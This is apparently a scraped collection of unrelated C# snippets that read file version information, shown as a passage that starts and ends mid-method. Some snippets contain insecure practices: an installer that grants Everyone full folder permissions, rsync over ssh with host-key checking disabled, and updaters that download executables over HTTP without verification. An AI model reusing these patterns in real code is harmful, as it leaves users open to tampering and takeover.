            var optionService  = componentModel.GetService <IGlobalOptionService>();

            var telemetryService = serviceProvider.GetService(typeof(SVsTelemetryService)) as IVsTelemetryService;

            Logger.SetLogger(
                AggregateLogger.Create(
                    CodeMarkerLogger.Instance,
                    new EtwLogger(optionService),
                    new VSTelemetryLogger(telemetryService),
                    new VSTelemetryActivityLogger(telemetryService),
                    Logger.GetLogger()));

            Logger.Log(FunctionId.Run_Environment, KeyValueLogMessage.Create(m => m["Version"] = FileVersionInfo.GetVersionInfo(typeof(VisualStudioWorkspace).Assembly.Location).FileVersion));
        }
        // TODO: Analyze this method and figure out if this can be done without attempting execution
        private static string SearchProtectDiscVersion(string file, byte[] fileContent)
        {
            string   version = "";
            DateTime timestart;

            if (!EVORE.IsEXE(fileContent))
            {
                return("");
            }

            string tempexe = EVORE.MakeTempFile(fileContent);

            string[] DependentDlls = EVORE.CopyDependentDlls(file, fileContent);
            try
            {
                File.Delete(Path.Combine(Path.GetTempPath(), "a*.tmp"));
            }
            catch { }
            try
            {
                File.Delete(Path.Combine(Path.GetTempPath(), "PCD*.sys"));
            }
            catch { }
            if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc")))
            {
                try
                {
                    File.Delete(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc", "p*.dll"));
                }
                catch { }
            }

            Process exe = EVORE.StartSafe(tempexe);

            if (exe == null)
            {
                return("");
            }

            Process[] processes = new Process[0];
            timestart = DateTime.Now;
            do
            {
                exe.Refresh();
                string[] files = null;

                //check for ProtectDisc 8.2-x
                if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc")))
                {
                    files = Directory.GetFiles(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc"), "p*.dll");
                }

                if (files != null)
                {
                    if (files.Length > 0)
                    {
                        FileVersionInfo fvinfo = FileVersionInfo.GetVersionInfo(files[0]);
                        if (fvinfo.FileVersion != "")
                        {
                            version = fvinfo.FileVersion.Replace(" ", "").Replace(",", ".");
                            //ProtectDisc 9 uses a ProtectDisc-Core dll version 8.0.x
                            if (version.StartsWith("8.0"))
                            {
                                version = "";
                            }
                            fvinfo = null;
                            break;
                        }
                    }
                }

                //check for ProtectDisc 7.1-8.1
                files = Directory.GetFiles(Path.GetTempPath(), "a*.tmp");
                if (files.Length > 0)
                {
                    FileVersionInfo fvinfo = FileVersionInfo.GetVersionInfo(files[0]);
                    if (fvinfo.FileVersion != "")
                    {
                        version = fvinfo.FileVersion.Replace(" ", "").Replace(",", ".");
                        fvinfo  = null;
                        break;
                    }
                }

                if (exe.HasExited)
                {
                    break;
                }

                processes = Process.GetProcessesByName(exe.ProcessName);
                if (processes.Length == 2)
                {
                    processes[0].Refresh();
                    processes[1].Refresh();
                    if (processes[1].WorkingSet64 > exe.WorkingSet64)
                    {
                        exe = processes[1];
                    }
                    else if (processes[0].WorkingSet64 > exe.WorkingSet64) //else if (processes[0].Modules.Count > exe.Modules.Count)
                    {
                        exe = processes[0];
                    }
                }
            } while (processes.Length > 0 && DateTime.Now.Subtract(timestart).TotalSeconds < 20);

            Thread.Sleep(500);
            if (!exe.HasExited)
            {
                processes = Process.GetProcessesByName(exe.ProcessName);
                if (processes.Length == 2)
                {
                    try
                    {
                        processes[0].Kill();
                    }
                    catch { }
                    processes[0].Close();
                    try
                    {
                        processes[1].Kill();
                    }
                    catch { }
                }
                else
                {
                    exe.Refresh();
                    try
                    {
                        exe.Kill();
                    }
                    catch { }
                }
            }

            exe.Close();
            Thread.Sleep(500);
            if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc")))
            {
                try
                {
                    File.Delete(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ProtectDisc", "p*.dll"));
                }
                catch { }
            }

            try
            {
                File.Delete(Path.Combine(Path.GetTempPath(), "a*.tmp"));
            }
            catch { }

            try
            {
                File.Delete(Path.Combine(Path.GetTempPath(), "PCD*.sys"));
            }
            catch { }
            File.Delete(tempexe);
            if (DependentDlls != null)
            {
                for (int i = 0; i < DependentDlls.Length; i++)
                {
                    try
                    {
                        File.Delete(DependentDlls[i]);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("!error while deleting file " + DependentDlls[i] + "; " + ex.Message);
                    }
                }
            }

            return(version);
        }
Beispiel #16
0
        /// <summary>Retrieves a list of installed browsers from the registry.</summary>
        public static ReadOnlyCollection <Browser> GetInstalledBrowsers()
        {
            #region Get registry keys containing browser information

            var machineInternetKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\WOW6432Node\Clients\StartMenuInternet") ??
                                     Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet");
            var userInternetKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\WOW6432Node\Clients\StartMenuInternet") ??
                                  Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet");
            #endregion

            #region Loop through keys

            var result = new List <Browser>();
            foreach (var internetKey in new[] { userInternetKey, machineInternetKey }.Where(key => key != null))
            {
                foreach (var browserKeyName in internetKey.GetSubKeyNames())
                {
                    try
                    {
                        if (!result.Any(b => b.KeyName == browserKeyName))
                        {
                            // Key containing browser information
                            var browserKey = internetKey.OpenSubKey(browserKeyName);

                            // Key containing executable path
                            var commandKey = browserKey.OpenSubKey(@"shell\open\command");

                            // Key containing icon path
                            var iconKey   = browserKey.OpenSubKey(@"DefaultIcon");
                            var iconPath  = (string)iconKey.GetValue(null);
                            var iconParts = iconPath.Split(',');

                            // Validate the values
                            string executablePath = ((string)commandKey.GetValue(null)).Trim('"');

                            // ExecutablePath must be .exe
                            if (Path.GetExtension(executablePath) != ".exe")
                            {
                                throw new BrowserException("ExecutablePath must be .exe");
                            }

                            // IconPath must be .exe or .ico
                            bool iconValid = new[] { ".exe", ".ico" }.Contains(Path.GetExtension(iconParts[0]));


                            #region Disconfigured browser installation, Add more browsers to this list

                            string browserIdFormat = string.Empty;
                            if (browserKeyName.Equals("IEXPLORE.EXE"))
                            {
                                browserIdFormat = "IE.AssocFile.{0}";
                            }

                            #endregion

                            // Add a default list of file associations
                            var associations = CreateDefaultFileAssociations(browserIdFormat);

                            ReadOnlyDictionary <string, object> fileAssociations = new ReadOnlyDictionary <string, object>(associations);
                            // Read the FileAssociations
                            var fileAssociationsKey = browserKey.OpenSubKey(@"Capabilities\FileAssociations");
                            if (fileAssociationsKey != null)
                            {
                                fileAssociations = new ReadOnlyDictionary <string, object>(fileAssociationsKey
                                                                                           .GetValueNames().ToDictionary(v => v, v => fileAssociationsKey.GetValue(v)));
                            }
                            // Use empty list for UrlAssociations
                            var urlAssociations =
                                new ReadOnlyDictionary <string, object>(new Dictionary <string, object>());
                            // Read the UrlAssociations
                            var urlAssociationsKey = browserKey.OpenSubKey(@"Capabilities\URLAssociations");
                            if (urlAssociationsKey != null)
                            {
                                urlAssociations = new ReadOnlyDictionary <string, object>(urlAssociationsKey
                                                                                          .GetValueNames()
                                                                                          .ToDictionary(v => v, v => urlAssociationsKey.GetValue(v)));
                            }

                            var browser = new Browser
                            {
                                KeyName        = browserKeyName,
                                Name           = (string)browserKey.GetValue(null),
                                ExecutablePath = executablePath,
                                Version        = FileVersionInfo.GetVersionInfo(executablePath),
                                IconPath       = iconValid ? iconParts[0] : executablePath,
                                IconIndex      = !iconValid
                                    ? 0
                                    : iconParts.Length > 1
                                        ? Convert.ToInt32(iconParts[1])
                                        : 0,
                                FileAssociations = fileAssociations,
                                UrlAssociations  = urlAssociations
                            };
                            result.Add(browser);
                        }
                    }
                    catch (Exception)
                    {
                        // Disconfigured browser
                    }
                }
            }
            #endregion

            #region Check if Edge is installed

            var systemAppsFolder = @"C:\Windows\SystemApps\";
            if (Directory.Exists(systemAppsFolder))
            {
                string[] directories = Directory.GetDirectories(systemAppsFolder);
                var      edgeFolder  = directories.FirstOrDefault(d => d.StartsWith($"{systemAppsFolder}Microsoft.MicrosoftEdge_"));

                if (edgeFolder != null)
                {
                    if (File.Exists($@"{edgeFolder}\MicrosoftEdge.exe"))
                    {
                        var edgePath = $@"{edgeFolder}\MicrosoftEdge.exe";
                        result.Add(new Browser
                        {
                            KeyName        = "Microsoft Edge",
                            Name           = "Microsoft Edge",
                            ExecutablePath = edgePath,
                            Version        = FileVersionInfo.GetVersionInfo(edgePath),
                            IconPath       = edgePath,
                            IconIndex      = 0,
                            // http://mikenation.net/files/win-10-reg.txt
                            FileAssociations = CreateEdgeFileAssociations().AsReadOnly(),
                            UrlAssociations  = new ReadOnlyDictionary <string, object>(new Dictionary <string, object>()),

                            IsApplicationGenerated = true,
                        });
                    }
                }
            }

            #endregion

            return(new ReadOnlyCollection <Browser>(result));
        }
Beispiel #17
0
        /// <summary>
        /// 获取系统版本
        /// </summary>
        /// <returns></returns>
        public int GetOsVersion()
        {
            var osvi = new Win32API.OSVERSIONINFO
            {
                dwOSVersionInfoSize = (uint)Marshal.SizeOf(typeof(Win32API.OSVERSIONINFO))
            };

            if (!Win32API.GetVersionEx(ref osvi))
            {
                return(-1);
            }

            const int     MaxPath = 260;
            StringBuilder sb      = new StringBuilder(MaxPath);
            int           ret     = Win32API.SHGetFolderPath(IntPtr.Zero, (int)Win32API.SpecialFolderCSIDL.CSIDL_SYSTEM, IntPtr.Zero, Win32API.SHGFP_TYPE.SHGFP_TYPE_CURRENT, sb);

            if (ret != 0)
            {
                return(-1);
            }

            string          path          = Path.Combine(sb.ToString(), "kernel32.dll");
            FileVersionInfo info          = FileVersionInfo.GetVersionInfo(path);
            var             nMajorVersion = info.ProductMajorPart;
            var             nMinorVersion = info.ProductMinorPart;
            var             nBuildVersion = info.ProductBuildPart;
            var             nReviVersion  = info.ProductPrivatePart;

            switch (nMajorVersion) //判断主版本号
            {
            case 5:
                switch (nMinorVersion)      //判断此版本号
                {
                case 1:
                    return((int)OSFlags.Windows_XP);

                case 2:
                    if (Win32API.GetSystemMetrics(Win32API.SystemMetric.SM_SERVERR2) == 0)
                    {
                        return((int)OSFlags.Windows_Server_2003);
                    }
                    if (Win32API.GetSystemMetrics(Win32API.SystemMetric.SM_SERVERR2) != 0)
                    {
                        return((int)OSFlags.Windows_Server_2003_R2);
                    }
                    break;
                }
                break;

            case 6:
                switch (nMinorVersion)
                {
                case 0:
                    if (osvi.wProductType == Win32API.ProductTypeFlags.VER_NT_WORKSTATION)
                    {
                        return((int)OSFlags.Windows_Vista);
                    }
                    else
                    {
                        return((int)OSFlags.Windows_Server_2008);
                    }

                case 1:
                    if (osvi.wProductType == Win32API.ProductTypeFlags.VER_NT_WORKSTATION)
                    {
                        return((int)OSFlags.Windows_7);
                    }
                    else
                    {
                        return((int)OSFlags.Windows_Server_2008_R2);
                    }

                case 2:
                    if (osvi.wProductType == Win32API.ProductTypeFlags.VER_NT_WORKSTATION)
                    {
                        return((int)OSFlags.Windows_8);
                    }
                    else
                    {
                        return((int)OSFlags.Windows_Server_2012);
                    }

                case 3:
                    if (osvi.wProductType == Win32API.ProductTypeFlags.VER_NT_WORKSTATION)
                    {
                        return((int)OSFlags.Windows_8_1);
                    }
                    else
                    {
                        return((int)OSFlags.Windows_Server_2012_R2);
                    }
                }
                break;

            case 10:
                if (osvi.wProductType == Win32API.ProductTypeFlags.VER_NT_WORKSTATION)
                {
                    return((int)OSFlags.Windows_10);
                }
                break;

            default:
                return((int)OSFlags.UnknownOs);
            }
            return(-1);
        }
Beispiel #18
0
        public static void GetUA()
        {
            string empty = string.Empty;
            string text  = Helpers.GetNT();

            try
            {
                foreach (string Browser in Dirs.BrowsersName)
                {
                    if (Browser.Contains("Google Chrome"))
                    {
                        object value = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                        if (value != null)
                        {
                            empty = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }
                        else
                        {
                            value = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "", null);
                            empty = FileVersionInfo.GetVersionInfo(value.ToString()).FileVersion;
                        }

                        if (Environment.Is64BitOperatingSystem)

                        {
                            UserAgents.Add("Mozilla/5.0 (" + text + "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + empty + " Safari/537.36");
                        }
                        else
                        {
                            UserAgents.Add("Mozilla/5.0 (" + text + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + empty + " Safari/537.36");
                        }
                    }

                    /*
                     * if (Browser.Contains("Opera Browser"))
                     * {
                     *  string value = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Classes\\Applications\\opera.exe\\shell\\open\\command", "", null).ToString();
                     *
                     *  value = value.Remove(value.Length - 6, 6);
                     *  value = value.Remove(0, 1);
                     *
                     *  empty = FileVersionInfo.GetVersionInfo(value).FileVersion;
                     *
                     *  string _empty = string.Empty;
                     *  string empty2 = string.Empty;
                     *
                     *  switch (empty.Split('.').First())
                     *
                     *  {
                     *      case "54":
                     *          _empty = "67.0.3396.87";
                     *          break;
                     *      case "55":
                     *          _empty = "68.0.3440.106";
                     *          break;
                     *      case "56":
                     *          _empty = "69.0.3497.100";
                     *          break;
                     *      case "57":
                     *          _empty = "70.0.3538.102";
                     *          break;
                     *      default:
                     *          break;
                     *  }
                     *
                     *  if (Environment.Is64BitOperatingSystem)
                     *      UserAgents.Add("Mozilla/5.0 (" + text + "; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + _empty + " Safari/537.36 OPR/55.0.2994.44");
                     *  else
                     *      UserAgents.Add("Mozilla/5.0 (" + text + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + _empty + " Safari/537.36 OPR/55.0.2994.44");
                     * }
                     */
                    if (Browser.Contains("Mozilla Firefox"))
                    {
                        object value2 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);

                        if (value2 != null)
                        {
                            empty = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }
                        else
                        {
                            value2 = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", "", null);
                            empty  = FileVersionInfo.GetVersionInfo(value2.ToString()).FileVersion;
                        }

                        string empty3 = string.Empty;
                        empty3 = empty.Split('.').First() + "." + empty.Split('.')[1];

                        if (Environment.Is64BitOperatingSystem)
                        {
                            UserAgents.Add("Mozilla/5.0 (" + text + "; Win64; x64; rv:" + empty3 + ") Gecko/20100101 Firefox/" + empty3);
                        }
                        else
                        {
                            UserAgents.Add("Mozilla/5.0 (" + text + "; rv:" + empty3 + ") Gecko/20100101 Firefox/" + empty3);
                        }
                    }
                }
            }
            catch
            {  }
        }
Beispiel #19
0
 public static FileVersionInfo FileVersion(this Assembly assembly)
 => FileVersionInfo.GetVersionInfo(assembly.Location);
Beispiel #20
0
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Bad Directory");
                return;
            }

            string path = args[0];

            basedir = path;
            //Path.GetDirectoryName(Application.ExecutablePath) + Path.DirectorySeparatorChar+
            string file = "installer.wxs";

            string outputfilename = "MissionPlanner";

            if (args.Length > 1)
            {
                outputfilename = args[1];
            }

            sw = new StreamWriter(file);

            header();

            sw.WriteLine("    <Directory Id=\"INSTALLDIR\" Name=\"Mission Planner\">");

            sw.WriteLine(@"        <Component Id=""InstallDirPermissions"" Guid=""{525389D7-EB3C-4d77-A5F6-A285CF99437D}"" KeyPath=""yes""> 
            <CreateFolder> 
                <Permission User=""Everyone"" GenericAll=""yes"" /> 
            </CreateFolder>
        </Component>");

            dodirectory(path, 0);


            footer(path);

            sw.Close();

            string exepath = Path.GetFullPath(path) + Path.DirectorySeparatorChar + "MissionPlanner.exe";
            string version = Assembly.LoadFile(exepath).GetName().Version.ToString();

            System.Diagnostics.FileVersionInfo fvi = FileVersionInfo.GetVersionInfo(exepath);

            string fn = outputfilename + "-" + fvi.ProductVersion;

            StreamWriter st = new StreamWriter("create.bat", false);

            st.WriteLine("del installer.wixobj");

            st.WriteLine(@"""%wix%\bin\candle"" installer.wxs -ext WiXNetFxExtension -ext WixDifxAppExtension -ext WixUIExtension.dll -ext WixUtilExtension -ext WixIisExtension");

            st.WriteLine(@"""%wix%\bin\light"" installer.wixobj ""%wix%\bin\difxapp_x86.wixlib"" -sval -o " + fn + ".msi -ext WiXNetFxExtension -ext WixDifxAppExtension -ext WixUIExtension.dll -ext WixUtilExtension -ext WixIisExtension");

            st.WriteLine("pause");

            st.WriteLine(@"""C:\Program Files\7-Zip\7z.exe"" a -tzip -xr!*.log -xr!*.log* -xr!beta.bat -xr!cameras.xml -xr!firmware.hex -xr!*.zip -xr!stats.xml -xr!*.bin -xr!*.xyz -xr!*.sqlite -xr!*.dxf -xr!*.zip -xr!*.h -xr!*.param -xr!ParameterMetaData.xml -xr!translation -xr!mavelous_web -xr!stats.xml -xr!driver -xr!*.etag -xr!srtm -xr!*.rlog -xr!*.zip -xr!*.tlog -xr!config.xml -xr!gmapcache -xr!eeprom.bin -xr!dataflash.bin -xr!*.new -xr!*.log -xr!ArdupilotPlanner.log* -xr!cameras.xml -xr!firmware.hex -xr!*.zip -xr!stats.xml -xr!ParameterMetaData.xml -xr!*.etag -xr!*.rlog -xr!*.tlog -xr!config.xml -xr!gmapcache -xr!eeprom.bin -xr!dataflash.bin -xr!*.new " + fn + @".zip " + path + "*");

            st.WriteLine("About to upload!!!!!!!!!");
            st.WriteLine("pause");

            st.WriteLine(@"c:\cygwin\bin\chmod.exe 777 " + fn + ".zip");
            st.WriteLine(@"c:\cygwin\bin\chmod.exe 777 " + fn + ".msi");

            st.WriteLine(@"c:\cygwin\bin\ln.exe -f -s " + fn + ".zip " + outputfilename + "-latest.zip");
            st.WriteLine(@"c:\cygwin\bin\ln.exe -f -s " + fn + ".msi " + outputfilename + "-latest.msi");

            st.WriteLine(@"c:\cygwin\bin\rsync.exe -Pv -e '/usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /cygdrive/c/Users/michael/sitl' " + fn + ".zip [email protected]:MissionPlanner/");
            st.WriteLine(@"c:\cygwin\bin\rsync.exe -Pv -e '/usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /cygdrive/c/Users/michael/sitl' " + fn + ".msi [email protected]:MissionPlanner/");

            st.WriteLine(@"c:\cygwin\bin\rsync.exe -Pv -e '/usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /cygdrive/c/Users/michael/sitl'   -l MissionPlanner-latest.zip [email protected]:MissionPlanner/");
            st.WriteLine(@"c:\cygwin\bin\rsync.exe -Pv -e '/usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /cygdrive/c/Users/michael/sitl'   -l MissionPlanner-latest.msi [email protected]:MissionPlanner/");

            st.Close();

            //runProgram("create.bat");
        }
Beispiel #21
0
        /// <summary>
        /// 检查更新程序
        /// </summary>
        private void CheckUpdateProgram()
        {
            try
            {
                //当前目录
                string curDir = Directory.GetCurrentDirectory() + "\\";
                //要检查的文件
                string file = "Jtw.exe";

                //是否需要更新
                bool NeedUpdate = false;
                if (File.Exists(curDir + file))
                {
                    FileVersionInfo FileVersion = FileVersionInfo.GetVersionInfo(curDir + file);
                    if (ConnectConfigData.srvUptFileVersion != FileVersion.FileVersion)
                    {
                        NeedUpdate = true;
                    }

                    //if ("3.0.0.0" != FileVersion.FileVersion)
                    //{
                    //    NeedUpdate = true;
                    //}
                }
                else
                {
                    NeedUpdate = true;
                }
                if (!NeedUpdate)
                {
                    return;
                }
                //服务器更新地址
                string srvUpdateAddr = ConnectConfigData.srvUpdateAddr;

                //建临时目录,缓存下载的文件
                string strTemp = Environment.GetEnvironmentVariable("Temp") + "\\_Jtw_u_p_t1\\";


                if (!Directory.Exists(strTemp))
                {
                    Directory.CreateDirectory(strTemp);
                }
                else
                {
                    Directory.Delete(strTemp, true);
                }

                //利用WebService从远程服务器上下载文件
                WebRequest  req = WebRequest.Create(srvUpdateAddr);
                WebResponse res = req.GetResponse();
                if (res.ContentLength > 0)
                {
                    WebClient wClient = new WebClient();
                    //将远程服务器UpdaterUrl指定的文件下载到本地目录serverXmlFile指定的文件夹下
                    wClient.DownloadFile(srvUpdateAddr + file, strTemp + file);

                    File.Copy(strTemp + file, curDir + file, true);
                    //删除缓存中的所有文件
                    Directory.Delete(strTemp, true);
                }
            }
            catch
            {
            }
        }
Beispiel #22
0
 public static FileVersionInfo GetFileInfos(string filePath)
 {
     return(File.Exists(filePath) ? FileVersionInfo.GetVersionInfo(filePath) : null);
 }
Beispiel #23
0
        public updateFile(string file, string filenameAndPath)
        {
            this.filelocation  = Path.GetDirectoryName(filenameAndPath);
            this.filename      = Path.GetFileName(filenameAndPath);
            this.fileextension = Path.GetExtension(filenameAndPath).TrimStart('.');

            using (BufferedStream stream = new BufferedStream(File.OpenRead(file), 1024 * 1024))
            {
                contents128b = new byte[128];
                stream.Read(contents128b, 0, 128);
            }

            /*
             * // prime dat cache
             * string[] stdout = wsusUpdate.runAndGetStdout("certutil", $"-hashfile \"{file}\" sha256").Split('\n');
             *
             * hashTimer.Start();
             * // SHA256.ComputeHash is being sluggish and I'm running out of time to get the analysis done so I'm gonna shell out to compute the hash.
             * // I haven't got time to work out why (if?) SHA256.ComputeHash isn't running as fast as it should right now. hash-tag yo-lo.
             * stdout = wsusUpdate.runAndGetStdout("certutil", $"-hashfile \"{file}\" sha256").Split('\n');
             * stdout = stdout.Where(x =>
             *  x.StartsWith("SHA256 hash of") == false && x.StartsWith("CertUtil") == false && x.Length > 0).ToArray();
             * hash_sha256_string = stdout.SingleOrDefault().Trim();
             * hash_sha256 = new byte[hash_sha256_string.Length / 2];
             * for (int i = 0; i < hash_sha256.Length; ++i)
             *  hash_sha256[i] = (byte) ((GetHexVal(hash_sha256_string[i << 1]) << 4) +
             *                           (GetHexVal(hash_sha256_string[(i << 1) + 1])));
             * hashTimer.Stop();
             *
             * hashTimerCS.Start();*/
            //using (BufferedStream stream = new BufferedStream(File.OpenRead(file), 1024 * 1024))
            using (FileStream stream = File.OpenRead(file))
            {
                using (SHA256 hasher = SHA256.Create())
                {
                    hash_sha256 = hasher.ComputeHash(stream);
                }
            }
            hash_sha256_string = String.Join("", hash_sha256.Select(x => x.ToString("x2")));

/*            hashTimerCS.Stop();
 *
 *          if (hashesDone++ > 1000)
 *          {
 *              Console.WriteLine($"Total time spent hashing: shell out {hashTimer.ElapsedMilliseconds}ms, C# {hashTimerCS.ElapsedMilliseconds}");
 *              Debugger.Break();
 *          }*/

            size = (ulong)new FileInfo(file).Length;

            if (size < 1024 * 1024 * 1024 && size > 0x10)
            {
                using (FileStream stream = File.OpenRead(file))
                {
                    pestuff.IMAGE_DOS_HEADER mz = readStruct <pestuff.IMAGE_DOS_HEADER>(stream);
                    if (mz.isValid == false)
                    {
                        return;
                    }
                    stream.Seek(mz.e_lfanew, SeekOrigin.Begin);

                    pestuff.IMAGE_NT_HEADERS_32_or_64 pe = readStruct <pestuff.IMAGE_NT_HEADERS_32_or_64>(stream);
                    if (pe.isValid == false)
                    {
                        return;
                    }

                    pe_timedatestamp = (int?)pe.FileHeader.TimeDateStamp;
                    pe_sizeOfCode    = (int?)pe.OptionalHeader_SizeOfImage;
                    pe_magicType     = (short?)pe.OptionalHeader_MagicType;
                }

                FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(file);
                FileDescription = versionInfo.FileDescription;
                FileVersion     = versionInfo.FileVersion;
                ProductName     = versionInfo.ProductName;
                ProductVersion  = versionInfo.ProductVersion;
                Comments        = versionInfo.Comments;
                CompanyName     = versionInfo.CompanyName;

                /*
                 * try
                 * {
                 *  PeNet.PeFile pe = new PeNet.PeFile(file);
                 *  try
                 *  {
                 *      rsds_GUID = pe.ImageDebugDirectory[0].CvInfoPdb70.Signature.ToString("N");
                 *      rsds_age = pe.ImageDebugDirectory[0].CvInfoPdb70.Age;
                 *      rsds_filename = pe.ImageDebugDirectory[0].CvInfoPdb70.PdbFileName;
                 *  }
                 *  catch (Exception)
                 *  {
                 *      // oh well
                 *  }
                 *
                 *  try
                 *  {
                 *      authenticode_certfriendly = pe.Authenticode.SigningCertificate.FriendlyName;
                 *      authenticode_certsubj = pe.Authenticode.SigningCertificate.SubjectName.Name;
                 *  }
                 *  catch (Exception)
                 *  {
                 *      // oh well
                 *  }
                 * }
                 * catch (Exception)
                 * {
                 *  // oh well
                 * }*/
            }
        }
Beispiel #24
0
 private static NotNull <string> GetDisplayVersion()
 {
     return(FileVersionInfo.GetVersionInfo(Assembly.GetEntryAssembly().Location).ProductVersion);
 }
Beispiel #25
0
        /// <summary>
        /// Called on install in order to extract the data from the MSI
        /// </summary>
        private void setDefaults()
        {
            Log.Info("SREPP being installed for the first time, fill in default values");

            //
            // Get the groupUUID
            //
            string msiPath = (string)Registry.GetValue(ConfigurationRegistryPath, "installer_path", "");

            if (msiPath == "" || !File.Exists(msiPath))
            {
                Log.Info("Fresh install but no msi can be found... this is bad");
                throw new Exception("Unable to find installer");
            }
            byte[] configBytes = GetConfigurationFromMsi(msiPath);
            if (configBytes == null)
            {
                throw new Exception("Unable to extract config from MSI");
            }
            InstallerConfig installerConfig = ParseConfig(configBytes);

            // Sanity check
            if (installerConfig.groupUUID == "00000000-0000-0000-0000-000000000000")
            {
                throw new Exception("GroupUUID is null");
            }


            // Write extracted data to the registry
            this._groupUUID  = installerConfig.groupUUID;
            this._systemUUID = ""; // Set the systemUUID to "" so we know we still need to register

            this._version = FileVersionInfo.GetVersionInfo(getCurrentFilePath()).FileVersion;

#if DEBUG
            this._beaconInterval = 5; // 5 seconds
            this._beaconServer   = "http://192.168.106.129:8080";
#else
            this._beaconInterval = 5 * 60; // 5 minutes
            this._beaconServer   = "https://beacon.summitroute.com";
#endif

            saveConfigToRegistry();


            // Set some default rules
            // TODO MUST Remove this rule

            /*
             * var attrs = new List<RuleAttribute>();
             * attrs.Add(new RuleAttribute
             * {
             *  AttributeType = "Issuer",
             *  Attribute = "C=US, S=California, L=Mountain View, O=Google Inc, OU=Digital ID Class 3 - Java Object Signing, OU=Digital ID Class 3 - Java Object Signing, CN=Google Inc"
             * });
             *
             * AddRuleToDB(new Rule
             * {
             *  Allow = false,
             *  Comment = "Block Google",
             *  Attrs = attrs,
             * });
             */
        }
Beispiel #26
0
        static void Main()
        {
            try
            {
                //处理未捕获的异常
                Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
                //处理UI线程异常
                Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);
                //处理非UI线程异常
                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);


                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                //删除老版本文件
                string[] oldFiles = { "Common.dll", "GlassButton.dll", "TicketHelper.exe" };
                foreach (string str in oldFiles)
                {
                    if (File.Exists(str))
                    {
                        File.Delete(str);
                    }
                }
                string          checkUpdateUrl = "http://waner8.sinaapp.com/Update.txt";
                HttpClient      client         = new HttpClient();
                FileVersionInfo myFileVersion  = FileVersionInfo.GetVersionInfo(System.Windows.Forms.Application.ExecutablePath);
                client.TimeOut = 5000;
                string json = client.Get(checkUpdateUrl);
                bool   exit = false;
                if (json != "")
                {
                    if (json != "timeout")
                    {
                        UpdateInfo ui = JsonHelper.FromJson <UpdateInfo>(json);
                        if (ui.NewVersion != myFileVersion.FileVersion)
                        {
                            exit = true;
                        }
                    }
                }
                if (exit)
                {
                    json = json.Replace("\"", "'");
                    Process.Start("AutoUpdater.exe", json);
                    Application.Exit();
                }
                else
                {
                    LoadingForm lf = new LoadingForm();
                    if (lf.ShowDialog() == DialogResult.OK)
                    {
                        LoginForm l = new LoginForm();
                        if (l.ShowDialog() == DialogResult.OK)
                        {
                            Application.Run(new MainForm());
                        }
                        else
                        {
                            Application.Exit();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                string str         = "";
                string strDateInfo = "出现应用程序未处理的异常:" + DateTime.Now.ToString() + "\r\n";
                if (ex != null)
                {
                    str = string.Format(strDateInfo + "异常类型:{0}\r\n异常消息:{1}\r\n异常信息:{2}\r\n",
                                        ex.GetType().Name, ex.Message, ex.StackTrace);
                }
                else
                {
                    str = string.Format("应用程序线程错误:{0}", ex);
                }

                writeLog(str);
            }
        }
        /// <summary>
        /// Checks for application update
        /// </summary>
        private void CheckVersion()
        {
            string  xmlURL    = "https://raw.githubusercontent.com/liinko/FFXIVTexToolsWeb/master/version.xml";
            string  changeLog = "";
            string  siteURL   = "";
            Version v         = null;

            try
            {
                using (XmlTextReader reader = new XmlTextReader(xmlURL))
                {
                    reader.MoveToContent();
                    string elementName = "";

                    if (reader.NodeType == XmlNodeType.Element && reader.Name == "FFXIVTexTools2")
                    {
                        while (reader.Read())
                        {
                            if (reader.NodeType == XmlNodeType.Element)
                            {
                                elementName = reader.Name;
                            }
                            else
                            {
                                if (reader.NodeType == XmlNodeType.Text && reader.HasValue)
                                {
                                    switch (elementName)
                                    {
                                    case "version":
                                        v = new Version(reader.Value);
                                        break;

                                    case "url":
                                        siteURL = reader.Value;
                                        break;

                                    case "log":
                                        changeLog = reader.Value;
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }

